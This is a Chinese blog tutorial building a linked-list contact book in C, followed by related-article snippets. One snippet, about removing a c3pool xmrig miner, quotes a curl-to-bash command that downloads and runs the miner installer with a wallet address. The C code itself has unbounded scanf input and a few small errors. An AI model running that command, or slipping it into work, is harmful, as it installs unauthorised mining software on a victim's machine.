【数据结构|C语言版】单链表应用

  • 前言
  • 1. 基于单链表实现通讯录
    • 1.1 知识要求
    • 1.2 功能要求
  • 2. 代码总结
    • 2.1 SeqList.h
    • 2.2 SeqList.c
    • 2.3 Contact.h
    • 2.4 Contact.c
    • 2.5 test.c
  • 后言


在这里插入图片描述

上期回顾:【数据结构|C语言版】单链表

前言

各位小伙伴大家好!上期小编讲解了单链表相关知识,在此基础上,我们来学习一下单链表的应用。
在这里插入图片描述

1. 基于单链表实现通讯录

1.1 知识要求

C语言基础要求:结构体、动态内存管理、单链表、文件操作

1.2 功能要求

① 至少能够存储100个人的通讯信息
② 能够保存用户信息:名字、性别、年龄、电话、地址等
③ 增加联系人信息
④ 删除指定联系人
⑤ 查找制定联系人
⑥修改指定联系人
⑦ 显示联系人信息

2. 代码总结

2.1 SeqList.h

#pragma once
#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
#include<string.h>
#include"Contact.h"


//定义链表的结构
//typedef int SLDataType
typedef struct ContactInfo SLDataType;   //更改SLDataType的类型

typedef struct SListNode
{
	SLDataType data;	//保存的数据
	struct SListNode* next;		//指针变量存放下一个节点的地址
}SLNode;

//1 打印链表
void SLPrint(SLNode* phead);

//2 尾插
void SLPushBack(SLNode** pphead, SLDataType x);
//3 头插
void SLPushFront(SLNode** pphead, SLDataType x);

//4 尾删
void SLPopBack(SLNode** pphead);

//5 头删
void SLPopFront(SLNode** pphead);

//SLFind()找到要查找数据的下标
//找节点的函数这里传一级实际上就可以了,因为不改变头结点
//但是这里要写二级指针,因为要保持接口一致性
//缺点:这个函数有一定的局限性,他找到数据x的下标是第一次出现的x的下标后,不会找后续的x的下标
SLNode* SLFind(SLNode** pphead, SLDataType x);

//6 定点前插入数据
void SLInsert(SLNode** pphead, SLNode* pos, SLDataType x);

//7 定点后插入数据
void SLInsertAfter(SLNode* pos, SLDataType x);

//8 删除pos节点
void  SLErase(SLNode** pphead, SLNode* pos);

//9 删除pos后的节点
void SLEraseAfter(SLNode* pos);

//10 销毁链表
void SLDestory(SLNode** pphead);

2.2 SeqList.c

#include"SList_copy.h"

//1 创建新的节点的函数
SLNode* SLBuyNode(SLDataType x)
{
	SLNode* node = (SLNode*)malloc(sizeof(SLNode));
	node->data = x;
	node->next = NULL;
	return node;
}

//2 尾插
void SLPushBack(SLNode** pphead, SLDataType x)	//保存第一个节点的指针的地址
{
	assert(pphead);
	//创建一个节点
	SLNode* node = SLBuyNode(x);
	if (*pphead == NULL)
	{
		*pphead = node;
		return;
	}
	//链表不为空,找尾
	SLNode* pcur = *pphead;
	while (pcur->next)//相当于pcur->next!=NULL
	{
		pcur = pcur->next;
	}
	pcur->next = node;
}

//3 头插
void SLPushFront(SLNode** pphead, SLDataType x)
{
	assert(pphead);
	SLNode* node = SLBuyNode(x);
	//新结点跟头结点连接起来
	node->next = *pphead;
	//让新节点成为头结点
	*pphead = node;
}

//4 尾删
void SLPopBack(SLNode** pphead)
{
	assert(pphead);

	assert(*pphead);	//第一个节点不能为空
	//判断只有一个结点的情况
	if ((*pphead)->next == NULL)
	{
		free(*pphead);
		*pphead = NULL;
		return;
	}

	//找到尾节点和尾节点的前一个节点
	SLNode* pre = NULL;
	SLNode* ptail = *pphead;
	while (ptail->next)
	{
		pre = ptail;
		ptail = ptail->next;
	}
	//pre的next指针不指向ptail,而是指向ptail的下一个节点
	//pre->next = NULL;
	pre->next = ptail->next;
	//因为在SLPrint(SLNode* phead)函数中有判断节点是否为空while (pcur),所以置空
	free(ptail);
	ptail = NULL;

}

//5 头插
void SLPopFront(SLNode** pphead)
{
	assert(pphead);
	assert(*pphead);	//第一个节点不能为空
	SLNode* del = *pphead;
	*pphead = (*pphead)->next;
	free(del);
	del = NULL;
}

//6 定点前插入数据
void SLInsert(SLNode** pphead, SLNode* pos, SLDataType x)
{
	assert(pphead);
	assert(pos);	//pos不能为空
	assert(*pphead);  //NULL前插入数据是荒谬的,所以assert第一个节点
	SLNode* node = SLBuyNode(x);

	//当只有一个结点(pos就是第一个节点)
	//if (((*pphead)->next) == NULL||pos==*pphead),可以简化成以下代码
	if (pos == *pphead) {
		node->next = *pphead;
		*pphead = node;
		return;
	}

	//找到pos的前一个节点
	SLNode* pre = *pphead;
	while (pre->next != pos)
	{
		pre = pre->next;
	}
	//处理pre node pos的位置
	node->next = pos;
	pre->next = node;
}

//7 定点后插入数据
void SLInsertAfter(SLNode* pos, SLDataType x)
{
	assert(pos);
	SLNode* node = SLBuyNode(x);
	node->next = pos->next;
	pos->next = node;
}

//8 删除pos节点
void SLErase(SLNode** pphead, SLNode* pos)
{
	assert(*pphead);
	assert(pphead);
	assert(pos);
	//pos是头结点
	if (pos == *pphead)
	{
		*pphead = (*pphead)->next;
		free(pos);
		return;
	}
	//pos不是头结点,找pos的前一个节点
	SLNode* pre = *pphead;
	while (pre->next != pos)
	{
		pre = pre->next;
	}
	pre->next = pos->next;
	free(pos);
	pos = NULL;   //代码规范
}

//9 删除pos后的节点
void SLEraseAfter(SLNode* pos)
{
	//删除pos之后的节点也不能空
	assert(pos && pos->next);
	SLNode* del = pos->next;
	pos->next = del->next;
	free(del);
}

void SLDestory(SLNode** pphead)
{
	assert(pphead);
	SLNode* pcur = *pphead;
	while (pcur)
	{
		SLNode* next = pcur->next;
		free(pcur);
		pcur = next;
	}
	//头结点记得置空
	*pphead = NULL;
}

2.3 Contact.h

#pragma once
//创建保存联系人数据的结构
#define NAME_MAX 120
#define SEX_MAX 10
#define TEL_MAX 20
#define ADDR_MAX 50

typedef struct ContactInfo
{
	char name[NAME_MAX];
	char sex[SEX_MAX];
	int age;
	char tel[TEL_MAX];
	char addr[ADDR_MAX];
}ConInfo;
//前置声明
typedef struct SListNode contact;

//1.打开通讯录
void ContactInit(contact** pcon);

//2.保存数据后销毁通讯录
void ContactDestory(contact** pcon);

//3.添加联系人
void ContactAdd(contact** pcon);

//4.删除联系人
void ContactDel(contact** pcon);

//5.修改联系人
void ContactModify(contact* con);

//6.查找联系人
void ContactFind(contact* pcon);

//7.查看通讯录
void ContactShow(contact* pcon);

2.4 Contact.c

#define _CRT_SECURE_NO_WARNINGS
#include"Contact.h"
#include"SList_copy.h"

//1.打开通讯录
void ContactInit(contact** pcon)
{
	FILE* pf = fopen("Contact_Info.txt", "rb");
	if (pf == NULL)
	{
		perror("fopen error.\n");  //主动报错,打开失败
		return;
	}
	ConInfo info;
	//回顾一下fread 
	//size_t fread ( void * ptr, size_t size, size_t count, FILE * stream );
	//从流中读取一个由count元素组成的数组,每个元素的大小为size字节,并将它们存储在ptr指定的内存块中。
	//流的位置指示器按读取的总字节数前进。
	//如果成功读取的总字节数为(size * count)
	while (fread(&info, sizeof(info), 1, pf))
	{
		SLPushBack(pcon, info);
	}
	printf("历史数据已导入通讯录\n");
}

void ContactSave(contact* con)
{
	FILE* pf = fopen("Contact_Info.txt", "wb");
	if (pf == NULL)
	{
		perror("fopen error\n");
		return;
	}
	contact* cur = con;
	while (cur)
	{
		fwrite(&(cur->data), sizeof(cur->data), 1, pf);
		cur = cur->next;
	}
	printf("成功保存通讯录数据\n");
}

void ContactDestory(contact** pcon)
{
	ContactSave(*pcon);
	SLDestory(pcon);
}

void ContactAdd(contact** pcon)
{
	ConInfo info;
	printf("请输入添加联系人姓名:\n");
	scanf("%s", &info.name);
	printf("请输入添加联系人性别:\n");
	scanf("%s", &info.sex);
	printf("请输入添加联系人年龄:\n");
	scanf("%d", &info.age);
	printf("请输入添加联系人电话:\n");
	scanf("%s", &info.tel);
	printf("请输入添加联系人地址:\n");
	scanf("%s", &info.addr);

	SLPushBack(pcon, info);
	printf("已添加联系人数据\n");
}

//我们这里通过姓名删除联系人
contact* FindByName(contact* con, char name[])
{
	contact* cur = con;
	while (cur)
	{
		if (strcmp(cur->data.name,name) == 0)
		{
			return cur;
		}
		cur = cur->next;
	}
	return NULL;
}

void ContactDel(contact** pcon)
{
	char name[NAME_MAX];
	printf("请输入你要删除的联系人姓名:\n");
	scanf("%s", name);
	contact* pos = FindByName(*pcon, name);
	if (pos == NULL)
	{
		printf("该联系人不存在\n");
		return;
	}
	SLErase(pcon, pos);
	printf("已删除该联系人\n");
}

void ContactModify(contact* con)
{
	char name[NAME_MAX];
	printf("请输入你要修改的联系人姓名:\n");
	scanf("%s", name);
	contact* pos = FindByName(con, name);
	if (pos == NULL)
	{
		printf("该联系人不存在\n");
		return 1;
	}
	printf("该联系人姓名修改为:\n");
	scanf("%s", pos->data.name);	
	printf("该联系人性别修改为:\n");
	scanf("%s", pos->data.sex);	
	printf("该联系人年龄修改为:\n");
	scanf("%d", &pos->data.age);	
	printf("该联系人电话修改为:\n");
	scanf("%s", pos->data.tel);
	printf("该联系人地址修改为:\n");
	scanf("%s", pos->data.addr);

	printf("修改成功\n");
}

void ContactFind(contact* con)
{
	char name[NAME_MAX];
	printf("请输入你要查找的联系人姓名:\n");
	scanf("%s", name);
	contact* pos = FindByName(con, name);
	if (pos == NULL)
	{
		printf("该联系人不存在\n");
		return;
	}
	printf("找到了\n");
	printf("%s %s %d %s %s\n",
		pos->data.name,
		pos->data.sex,
		pos->data.age,
		pos->data.tel,
		pos->data.addr
	);
}

void ContactShow(contact* con)
{
	printf("%s %s %s %s %s\n", "姓名", "性别", "年龄", "电话", "地址");
	contact* cur = con;
	while (cur)
	{
		printf("%s %s %d %s %s\n", 
			cur->data.name, 
			cur->data.sex, 
			cur->data.age, 
			cur->data.tel, 
			cur->data.addr);
		cur = cur->next;
	}
}

2.5 test.c

#define _CRT_SECURE_NO_WARNINGS
#include"Contact.h"
#include"SList_copy.h"

void test1()
{
	contact *pcontact=NULL;
	ContactInit(&pcontact);
}

void test2()
{
	contact* pcontact = NULL;
	ContactInit(&pcontact);
	ContactAdd(&pcontact);
	ContactDel(&pcontact);
	ContactShow(pcontact);

}

void test3()
{
	contact* pcontact = NULL;

	ContactInit(&pcontact);
	ContactShow(pcontact);
	ContactAdd(&pcontact);
	ContactShow(pcontact);
	ContactDel(&pcontact);
	ContactShow(pcontact);
}
void test4()
{
	contact* pcontact = NULL;

	ContactInit(&pcontact);
	ContactAdd(&pcontact);
	ContactAdd(&pcontact);
	ContactShow(pcontact);
	ContactFind(pcontact);

	ContactShow(pcontact);

}

void test5()
{
	contact* pcontact = NULL;

	ContactInit(&pcontact);
	ContactAdd(&pcontact);
	ContactShow(pcontact);
	ContactModify(pcontact);

	ContactShow(pcontact);

	ContactDestory(&pcontact);
}


void menu()
{
	printf("\n");
	printf("****************************\n");
	printf("****************************\n");
	printf("************通讯录***********\n");
	printf("*********1.添加联系人********\n");
	printf("*********2.删除联系人********\n");
	printf("*********3.修改联系人********\n");
	printf("*********4.查找联系人********\n");
	printf("*********5.查看通讯录********\n");
	printf("*********0.退  出************\n");
	printf("****************************\n");
	printf("****************************\n");
}

int main()
{
	//test1();
	//test2();
	//test3();
	//test4();
	//test5();
	int op = 0;
	contact* con=NULL;
	ContactInit(&con);
	do {
		menu();
		printf("请选择:\n");
		scanf("%d", &op);
		switch (op)
		{
		case 1:
			ContactAdd(&con);
			break;
		case 2:
			ContactDel(&con);
			break;
		case 3:
			ContactModify(con);
			break;
		case 4:
			ContactFind(con);
			break;
		case 5:
			ContactShow(con);
			break;
		case 0:
			printf("退出了哈\n");
			break;
		default:
			printf("输入错误\n");
			break;
		}
	} while (op!=0);
	ContactDestory(&con);

	return 0;
}

后言

以上就是小编对单链表应用的一些初步认识。
如果觉得小编讲的还可以,还请一键三连。互三必回!
持续更新中!
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/547553.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SpringCloudAlibaba真的不行了吗?

Spring Cloud Alibaba 作为SpringCloudAlibaba微服务架构实战派上下册和RocketMQ消息中间件实战派上下册的作者胡弦&#xff0c;我想和技术人聊一下&#xff0c;阿里巴巴开源的SpringCloudAlibaba真的不行了吗&#xff1f; 目前SpringCloudAlibaba最新的版本为2023.0.0.0-RC1 …

蓝桥杯2024年第十五届省赛

E:宝石组合 根据给的公式化简后变为gcd(a,b,c)根据算数基本定理&#xff0c;推一下就可以了 然后我们对1到mx的树求约数&#xff0c;并记录约数的次数&#xff0c;我们选择一个最大的且次数大于等3的就是gcd int mx; vector<int> g[N]; vector<int> cnt[N]; int…

flutter material中的Icon组件的IconData 查阅

查阅 https://fonts.google.com/icons?selectedMaterialSymbolsOutlined:expand_less:FILL0;wght300;GRAD0;opsz24&icon.platformandroidhttps://fonts.google.com/icons?selectedMaterialSymbolsOutlined:expand_less:FILL0;wght300;GRAD0;opsz24&icon.platformand…

Java的maven项目导入本地jar包的三种方式

一、使用本地jar包 在项目中创建一个lib文件夹&#xff0c;将想要使用的本地jar包放进去 然后直接在pom.xml中添加下列依赖&#xff08;项目协作推荐&#xff09; <dependency><groupId>com.fpl</groupId><artifactId>spring</artifactId><…

Linux下SPI设备驱动实验:验证SPI节点及ICM20608设备子节点

一. 简介 前一篇文章在设备树文件中创建了SPI的 IO 的 pinctrl节点&#xff0c;SPI节点及ICM20608设备子节点&#xff0c;文章如下&#xff1a; Linux下SPI设备驱动实验&#xff1a;创建SPI节点及SPI设备子节点-CSDN博客 本文对设备树文件进行加载测试&#xff0c;确定SPI节…

leetcode199 二叉树的右视图

题目 给定一个二叉树的 根节点 root&#xff0c;想象自己站在它的右侧&#xff0c;按照从顶部到底部的顺序&#xff0c;返回从右侧所能看到的节点值。 示例 输入: [1,2,3,null,5,null,4] 输出: [1,3,4] 解析 这道题首先能想到的办法&#xff0c;就是使用迭代法层次遍历&…

部署项目的时候的一些错误

项目打jar包&#xff0c;找不到资源&#xff0c;连接不上数据库 项目打包后无法运行 直接在idea运行可以 解决方法&#xff1a;pom文件中增加&#xff08;配置文件如果是yml&#xff0c;写yml&#xff09; <resources><resource><directory>src/main/java&…

系统学c#:2、基础语法(关键字、标识符、数据类型、变量、常量、字面量、运算符、类型转换)

关键字&#xff1a; 关键字是编程语言中具有特殊含义的单词或符号&#xff0c;它们通常被编程语言用于表示特定的语法结构、操作或约定。在C#中&#xff0c;关键字具有特定的语法和功能&#xff0c;用于定义语言的基本结构和规则。 以下是一些C#中常用的关键字及其功能&#xf…

【计算机毕业设计】游戏售卖网站——后附源码

&#x1f389;**欢迎来到琛哥的技术世界&#xff01;**&#x1f389; &#x1f4d8; 博主小档案&#xff1a; 琛哥&#xff0c;一名来自世界500强的资深程序猿&#xff0c;毕业于国内知名985高校。 &#x1f527; 技术专长&#xff1a; 琛哥在深度学习任务中展现出卓越的能力&a…

MybatisPlus——自定义Sql

MybatisPlus——自定义Sql 自定义sql mybatisplus自定义sql并不是全部进行自定义的&#xff0c;我们可以利用MybatisPlus的Wrapper来构建复杂的Where条件&#xff0c;然后自己定义sql语句中剩下的部分。 自定义sql案例 以为例&#xff1a;将id在指定范围&#xff08;1&…

搜索树, 哈希表

目录 一. 搜索树 1.1 概念 1.2 操作1 查找 1.3 操作2 插入 1.4 操作3 删除 1.5 性能分析 1.6 和 java 类集的关系 二.哈希表 2.1 概念 2.2 哈希冲突 2.3常见哈希函数 2.4 负载因子 2.5 闭散列 2.6 开散列 2.7 哈希表的实现 push 添加数据 getVal() 获取key对应的v…

SQL注入sqli_labs靶场第十七题

B站教学视频很详细 【sql注入之sqli-labs系列教程(less11-17)】sqli-labs_33_less17_哔哩哔哩_bilibili 我将SQL语句在页面中显示&#xff0c;以便更深入学习。 1.寻找注入点 修改密码的一个页面。 输入正确的账号密码&#xff0c;可以看到&#xff0c;账号为admin&#xf…

【学习笔记PPT摘录】lan.289.24.4-15

1.纪念品分组.双指针-01 #include <bits/stdc.h> using namespace std;int A[40000];// 纪念品价值均衡// 把购来的纪念品进行分组 之和不超过整数 w// 每组只能有两个纪念品 希望分组的数目要少// 贪心的策略就是 每个较大的数找到一个 最大的较小的数使其能够小于w// n…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

[docker] 核心知识 - 概念和运行

[docker] 核心知识 - 概念和运行 之前 docker 学了个开头就去搞项目去了&#xff0c;不过项目也开展了好久了&#xff0c;前端差不多吃透了&#xff0c;有些新功能需要用 docker 和 k8s……是时候重新学习一下了。 这一部分简单的过一下概念和讲一下怎么运行 docker 镜像和启…

[Linux][基础IO][二][缓冲区][理解文件系统]详细解读

目录 1.缓冲区0.缓冲区的刷新策略1.何为缓冲区&#xff1f;2.总结 2.理解文件系统0.文件元数据1.了解文件系统 --> 理解inode2.软硬链接 1.缓冲区 0.缓冲区的刷新策略 一般情况 立即刷新行刷新(行缓冲)满刷新(全缓冲) 特殊情况 用户强制刷新(fflush)进程退出 所有的设备&a…

JavaSE图书管理系统实战

代码仓库地址&#xff1a;Java图书管理系统 1.前言 该项目将JavaSE的封装继承多态三大特性&#xff0c;使用了大量面向对象的操作&#xff0c;有利于巩固理解 &#xff08;1&#xff09;实现效果 2.实现步骤 第一步先把框架搭建起来&#xff0c;即创建出人&#xff1a;管理员和…

《系统架构设计师教程(第2版)》第9章-软件可靠性基础知识-04-软件可靠性设计

文章目录 1. 容错设计技术1.1 恢复块设计1.2 N版本程序设计1.3 冗余设计 2. 检错技术3. 降低复杂度设计4. 系统配置中的容错技术4.1 双机热备技术4.1.1 双机热备模式4.1.2 双机互备模式4.1.3 双机双工 4.2 服务器集群技术 1. 容错设计技术 1.1 恢复块设计 恢复块设计 选择一组…

华为框式交换机S12700E系列配置CSS集群

搭建集群环境 a.为两台交换机上电&#xff0c;按照数据规划分别对两台框式交换机进行配置 <HUAWEI> system-view [HUAWEI] sysname Switch1 [Switch1] set css id 1 [Switch1] set css priority 150 //框1的集群优先级配置为150 [Switch1] interface css-port 1 [Sw…

MinGW与Cygwin傻傻分不清楚

MinGW&#xff08;Minimalist GNU for Windows&#xff09;和Cygwin是两个在Windows平台上广泛使用的开发工具&#xff0c;它们各自具有不同的特点和适用场景。 MinGW 的主要方向是让GCC的Windows移植版能使用Win32API来编程。MinGW几乎支持所有的Win32API。 Cygwin 的主要方…